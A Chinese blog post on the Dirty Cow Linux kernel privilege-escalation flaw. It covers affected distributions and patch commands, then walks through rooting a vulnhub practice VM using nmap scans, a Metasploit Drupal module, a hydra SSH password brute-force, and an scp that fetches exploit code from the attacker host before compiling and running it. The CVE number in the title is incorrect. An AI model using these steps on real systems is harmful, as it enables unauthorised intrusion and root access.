MENU

Dirty Cow(CVE-2016-5159)

February 7, 2022 • Read: 586 • Penetration testing

0x00漏洞概述

脏牛(Dirty Cow)是Linux内核的一个提权漏洞,攻击者可以利用这个漏洞获取root权限。之所以叫Dirty Cow,因为这个漏洞利用了Linux的copy-on-write机制。其原理就是linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。并且在提权的时候,杀毒软件并不会检测到。

影响版本

Linux内核> = 2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。
受影响的镜像版本为:

CentOS 5.x 32位/64位
CentOS 6.x 32位/64位
CentOS 7.x 32位/64位
CoreOS 717.3.0 64位
Debian 6.x 32位(Debian官方已停止更新,建议使用Debian7、Debian8版本)
Debian 7.x 32位/64位
Debian 8.x 32位/64位
openSUSE 12.3 32位/64位
openSUSE 13.2 64位
SUSE Linux Enterprise Server 11 SP3 64位
SUSE Linux Enterprise Server 12 64位
Ubuntu Server 10.04.1 LTS 32位/64位(Ubuntu官方已停止更新,建议使用Ubuntu 14.04版本)
Ubuntu Server 12.04.1 LTS 32位/64位
Ubuntu Server 14.04.1 LTS 32位/64位

0x01修复方案

使用uname –a查看Linux系统的内核版本,如果在受影响版本:

  1. CentOS用户:由于CentOS系列官方尚未发布官方修复版本,待发布后请及时更新修复。
  2. Ubuntu用户:运行sudo apt-get update;sudo apt-get upgrade进行系统更新,更新后重启系统生效
  3. Debian用户:运行apt-get update;apt-get upgrade进行系统更新,更新后重启系统生效
  4. SUSE Linux Enterprise Server用户及OpenSUSE用户:openSUSE 13.2
    64位官方暂未发布补丁,其他版本可运行zypper
  5. refresh;zypper update kernel-default进行系统更新,更新后重启系统生效
  6. CoreOS用户:运行update_engine_client -update,更新后重启系统生效

0x02工具利用

g++ -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil 
./40847
  1. -O2 表示编译器的优化选项,
  2. -std=c++11表示按照c++ 2011标准来编译,
  3. -pthread 是指利用到多线程时需要用到的库
  4. -o name 中name表示生成的文件的名字

0x03复现环境

前言

我先开始想再安装一个虚拟机,但是嫌麻烦,就去找了一个有这个漏洞的靶机

准备工作

在vulnhub官网下载lampiao靶机:https://www.vulnhub.com/entry/lampiao-1,249/
导入到vmware,设置成NAT模式就可以了

开始测试

先还是域内主机发现

nmap -sP 192.168.205.0/24

然后进行端口扫描

nmap -A 192.168.205.129 -p 1-65535

发现80端口开着,直接访问一下

发现没有什么可以利用的,但是发现1898端口还开着
我们可以来访问一下

熟悉的Drupal7框架
所以直接来查询一下这个框架的漏洞

我们来使用第四个命令执行的

需要设置ip地址和端口

set RHOSTS 192.168.205.129
set RPORT 1898
run

发现虽然能利用但是创造不了会话
所以再来扫一扫目录

发现存在robots.txt,访问后没啥有用的发现
所以我们还得想其他方法
简单点一点页面发现有个地方变成了node/1
依次改为node/2,node/3因为4之后是notfound了
发现2不运作,3提示有一个音频

我们在歌词中听到user is tiago

然后我们使用cewl利用网站的关键信息生成密码字典

cewl http://192.168.205.129:1898 -w password.txt

利用hydra对用户tiago密码进行爆破:

hydra -l tiago -P password.txt 192.168.205.129 ssh

得到账号密码

然后我们来ssh连上去看看

发现权限很低进不了root目录
优先考虑suid提权

其实感觉有几个是有机会提权的比如pppd

脏牛提权

但是我还是想利用脏牛提权直奔主题,既然知道这个靶机有脏牛提权
我们还是走一下流程,先看看内核版本

对比上面的图确实存在 所以我们直接把exp利用起来即可
先把提前下好在kali上的exp传到靶机上

scp kali@192.168.205.131:/home/kali/LA/40847.cpp /tmp

然后进行利用

 g++ -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil 
    ./40847

闯关成功

参考链接

参考链接一
参考链接二
参考链接三

Last Modified: March 2, 2022
Archives Tip
QR Code for this page
Tipping QR Code